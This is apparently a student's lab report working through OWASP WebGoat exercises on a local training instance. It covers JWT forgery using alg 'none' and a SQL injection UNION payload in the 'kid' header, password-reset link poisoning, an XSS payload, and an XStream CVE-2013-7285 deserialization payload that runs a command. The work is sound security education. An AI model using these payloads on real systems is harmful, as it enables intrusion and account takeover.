

Hands-On lab 2

MICS-252, Fall 2024

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1 Introduction

Introduction Here I extensively used the walkthroughs in [1]

2 Lessons Learned

LL Here I liked the hidden SQL vulnerability in a dynamically added id header for a JWT token Reset password exercise is nefariously interesting

3 Topics for Further Exploration

Topics Here

JWT token exploitation

3.1 Open source and supply chain vulnerabilities

Library dependencies and open source Log4j tar.xz openssh

Comment: Some organizations prefer to have 'someone to blame' and if they paid for proprietary software they feel that they can unload some liability.

4 Conclusion

Conclusion Here

References

- [1] *WebGoat Labs, Walkthroughs*. <https://docs.cycubix.com/application-security-series/web-application-security-essentials/solutions>. Accessed: 2024-8-31.
- [2] *Medium WebGoat JWT tokens 8*. <https://pvxs.medium.com/webgoat-jwt-tokens-8-6ea5f5132499>. Accessed: 2024-9-5.

Appendices

A Identity and Authentication Failure

A.1 Authentication Bypass

There is a bug in the password reset system, changing the names in the http POST payload solves the assignment




Figure 1: Authentication reset bypassed by changing the secQuestion names the POST request payload

A.2 Insecure Login

For some reason some credentials are hardcoded or left from previous logins when sending the POST request empty.

A.3 JWT Tokens

JWT tokens are sometimes used in place of authentication cookies, i.e. without the cross reference protections the browser offers. JWT's are basically ways to send information verified by signatures. In this case the header can be manipulated not to do the verification and blindly trust the token.

JWT(4) Decoded the token on jwt.io and found 'user'

JWT(6) Decoded and manipulated the token using Burps Decoder, setting the signature alg to 'none' and admin to true and got "something" accepted 202

JWT(8) I was unable to load the Quiz..

JWT(11) JWT Cracking




Figure 2: *Captain Jacks credentials in the POST*



Figure 3: *JWT token manipulations*

JWT(13) Refresh Tokens Manipulated the token by setting the algorithm to 'none' and manipulating the expiration

JWT(16/18) Avanced Token generation.. I found this one difficult and relied on a walkthrough from [2], where references to the WebGoat source code was used to solve the assignment.

Manipulated the jwt from the delete POST by changing the names to tom, manipulating expiration and changing the 'kid' to:

```
"something_else' UNION SELECT 'bmV3X2tleQ==' FROM INFORMATION_SCHEMA.SYSTEM_USERS; --".
```




Figure 4: *JWT token manipulations, without refresh.. see next*




Figure 5: Could not find the `"/WebGoat/JWT/final/delete"` endpoint turns out the right page is in 18

All signed with "new_key": giving:





Figure 6: `/WebGoat/JWT/final/delete` Solved!

A.4 Password reset

Password Reset 2: Email functionality with WebWolf



Account Access

@ Email


Password

Access

Forgot your password?

Congratulations. You have successfully completed the assignment.

Figure 7: Basic password functionality working



✓

Sign up Login

WebGoat Password Recovery

Your username

Username

What is your favorite color?

Answer security question

Submit

Congratulations. You have successfully completed the assignment.

Figure 8: Reset challenge questions brute force-able, un:Top, pw:purple (from [1])

Password Reset 4: Security questions

Password Reset 5: The Problem with Security Questions Will be sure not to implement.

Password Reset 6: Creating the password reset link Redirecting the reset password link, the link is generated by a the Host in the POST header (which can be manipulated) and a random number. The link is sent to whatever email is in the payload see figure ??. The link is then redirected to WebWolf which we control ??. Unfortunately i think the reset mechanism is broken, after supplying the reset password, I am directed to an error page.

A.5 Secure Passwords

See Figure ??

Request		Response	
Pretty	Raw	Pretty	Raw
1	POST /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link	1	HTTP/1.1 200 OK
2	HTTP/1.1	2	Connection: keep-alive
3	Host:127.0.0.1:9090	3	Content-Type: application/json
4	Content-Length: 29	4	Date: Fri, 06 Sep 2024 18:06:03 GMT
5	sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"	5	Content-Length: 197
6	Accept-Language: en-US	6	
7	sec-ch-ua-mobile: ?0	7	{
8	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)	8	"lessonCompleted":true,
9	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100	9	"feedback":"An e-mail has been send to tom@webgoat-cloud.org",
10	Safari/537.36	10	"output":null,
11	Content-Type: application/x-www-form-urlencoded; charset=UTF-8	11	"assignment":"ResetLinkAssignmentForgotPassword",
12	Accept: */*	12	"attemptWasMade":true
13	X-Requested-With: XMLHttpRequest	13	}
14	sec-ch-ua-platform: "Linux"		
15	Origin: http://localhost:8080		
16	Sec-Fetch-Site: same-origin		
17	Sec-Fetch-Mode: cors		
18	Sec-Fetch-Dest: empty		
19	Referer: http://localhost:8080/WebGoat/start.mvc?username=kjcyber252		
20	Accept-Encoding: gzip, deflate, br		
21	Cookie: JSESSIONID=I05oMwFU7oShMmWpnuFahvuCBYUAP67LsHrYGzUh		
	Connection: keep-alive		
	email=tom%40webgoat-cloud.org		

Figure 9: Manipulating where the password reset link is sent

✓ 2024-09-06T17:55:26.958338114Z | /WebWolf/PasswordReset/reset/reset-password/8e6e0678-a102-4451-9718-61ac9c4a9b57

```
{
  "timestamp" : "2024-09-06T17:55:26.958338114Z",
  "request" : {
    "uri" : "http://127.0.0.1:9090/WebWolf/PasswordReset/reset/reset-password/8e6e0678-a102-4451-9718-61ac9c4a9b57",
    "remoteAddress" : null,
    "method" : "GET",
    "headers" : {
      "Accept" : [ "application/json, application/*+json" ],
      "Connection" : [ "keep-alive" ],
      "User-Agent" : [ "Java/21.0.1" ],
      "Host" : [ "127.0.0.1:9090" ]
    }
  }
},
```

Figure 10: Link intercepted in webwolf

☒

You have succeeded! The password is secure enough.

Your Password: *****

Length: 11

Estimated guesses needed to crack your password: 100000000001

Score: 4/4

Estimated cracking time: 317 years 35 days 17 hours 46 minutes 40 seconds

Score: 4/4

Figure 11: Secure Passwords: Following the NIST recommendations

B Vuln. and Outdated Components

B.1 (5)The exploit is not always in "your" code

The exploit is not always in "your" code

Below is an example of using the same WebGoat source code, but different versions of the jquery-ui component. One is exploitable; one is not.

jquery-ui:1.10.4

This example allows the user to specify the content of the "closeText" for the jquery-ui dialog. This is an exploitable development scenario; however the jquery-ui dialog (TBD - show exploit link) does not defend against XSS in the closeText.

Clicking go will execute a jquery-ui close dialog: OK<script>alert('XSS')</script>

This dialog should have exploited a known flaw in jquery-ui:1.10.4 and allowed a XSS exploit.

jquery-ui:1.12.0 Not Vulnerable

Using the same WebGoat source code but upgrading the jquery-ui library to a non-vulnerable version eliminates the exploit.

Clicking go will execute a jquery-ui close dialog: OK<script>alert('XSS')</script> Go!

Figure 12: Differences in JQuery versions, one of which is vulnerable to reflected XSS

B.2 (12)Exploiting CVE-2013-7285 (XStream)

This one is scary. XStream is a serial/de-serializer for XML, JSON etc. when used as a de-serializer, it opens up possibility of an OS command injection resulting in remote code execution. XStream.fromXML deserializes into an Java Object, vulnerable to OS injection as <interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface> the Contact function will be executed

C Security Logging Failures

C.1 Lets Try (2)

See solved Figure ??

Exploiting CVE-2013-7285 (XStream)

i This lesson only works when you are using the Docker image of WebGoat.

WebGoat uses an XML document to add contacts to a contacts database.

```
<contact>
  <id>1</id>
  <firstName>Bruce</firstName>
  <lastName>Mayhew</lastName>
  <email>webgoat@owasp.org</email>
</contact>
```

The java interface that you need for the exercise is: `org.owasp.webgoat.lessons.vulnerablecomponents.Contact`. Start by sending the above contact to see what the normal response would be and then read the CVE vulnerability documentation (search the Internet) and try to trigger the vulnerability. For this example, we will let you enter the XML directly versus intercepting the request and modifying the data. You provide the XML representation of a contact and WebGoat will convert it a Contact object using

`XStream.fromXML(xml)`.

✓

Enter the contact's xml representation:

<contact class='dynamic-proxy'>
<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</contact>

Go!

You successfully tried to exploit the CVE-2013-7285 vulnerability

java.io.IOException: Cannot run program "calc.exe": error=2, No such file or directory

Figure 13: XStream deserializes and executes Contact function resulting in remote code execution




Figure 14: Section A6 Solved




Figure 15: Lets Try solved using inspiration from [1], username: admin, pw: url encoded Za%0d%a

C.2 Lets Try (4)

See Figure ??

D Client Side

D.1 Bypass front-end restrictions

Client Side DOM and JS manipulation

Field Restrictions Bypassed the input fields by manipulating the POST request with impossible options see Figure ??




Figure 16: Bypassed the input fields by manipulating the POST request with impossible options

Validation See Figure ??




Figure 17: Bypassed the input fields by manipulating the POST request with impossible options still works with validation

D.2 Client side filtering

Salary manager (2) Found Bartholomew's salary in a hidden table in the DOM, see Figure ??

```

<table style="display: none" id="hiddenEmployeeRecords" align="center" b
"90%">
  <div>
    <table border="1" width="90%" align="center">
      <tbody>
        <tr>
          <tr id="101">
          <tr id="102">
          <tr id="103">
          <tr id="104">
          <tr id="105">
          <tr id="106">
          <tr id="107">
          <tr id="108">
          <tr id="109">
          <tr id="110">
          <tr id="111">
          <tr id="112">
            <td>112</td>
            <td>Neville</td>
            <td>Bartholomew</td>
            <td>111-111-1111</td>
            <td>450000</td>

```

Figure 18: Found Bartholomew's 450000 salary in a hidden table in the DOM

Samsung Galaxy S8 Filling out the form and looking at Network traffic in the chrome tools, there is an endpoint for the coupons. If a invalid coupon is entered, the server returns a message, if the field is left empty there is no traffic. If hitting the endpoint anyway, the code is included in the server response, see Figure ??

```

localhost:8080/WebGoat/clientSideFiltering/challenge-store/coupons
Pretty-print
{
  "codes": [ {
    "code": "webgoat",
    "discount": 25
  }, {
    "code": "owasp",
    "discount": 25
  }, {
    "code": "owasp-webgoat",
    "discount": 50
  }, {
    "code": "get_it_for_free",
    "discount": 100
  } ]
}

```

Figure 19: Found the code in an empty coupon API call

D.3 HTML tampering

See Figure ??

The screenshot displays the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab shows a POST request to `/WebGoat/HtmlTampering/task` with various headers and a body containing `QTY=1&Total=0`. The 'Response' tab shows a 200 OK status with a JSON body.

Request

```

1 POST /WebGoat/HtmlTampering/task HTTP/1.1
2 Host: localhost:8080
3 Content-Length: 13
4 sec-ch-ua: "Chromium";v="127", "Not)A;Brand";v="99"
5 Accept-Language: en-US
6 sec-ch-ua-mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100
  Safari/537.36
8 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9 Accept: */*
10 X-Requested-With: XMLHttpRequest
11 sec-ch-ua-platform: "Linux"
12 Origin: http://localhost:8080
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: http://localhost:8080/WebGoat/start.mvc?username=kjcyber252
17 Accept-Encoding: gzip, deflate, br
18 Cookie: JSESSIONID=I05oMwfU7oShMmWpnuFahvUCBYUAP67LsHrYGzUh
19 Connection: keep-alive
20
21 QTY=1&Total=0

```

Response

```

1 HTTP/1.1 200 OK
2 Connection: keep-alive
3 Content-Type: application/json
4 Date: Fri, 06 Sep 2024 20:57:08 GMT
5 Content-Length: 178
6
7 {
8   "lessonCompleted":true,
9   "feedback":"Well done, you just bought a TV at a discount",
10  "output":null,
11  "assignment":"HtmlTamperingTask",
12  "attemptWasMade":true
13 }

```

Figure 20: Quantity and Amount can be manipulated in the POST Request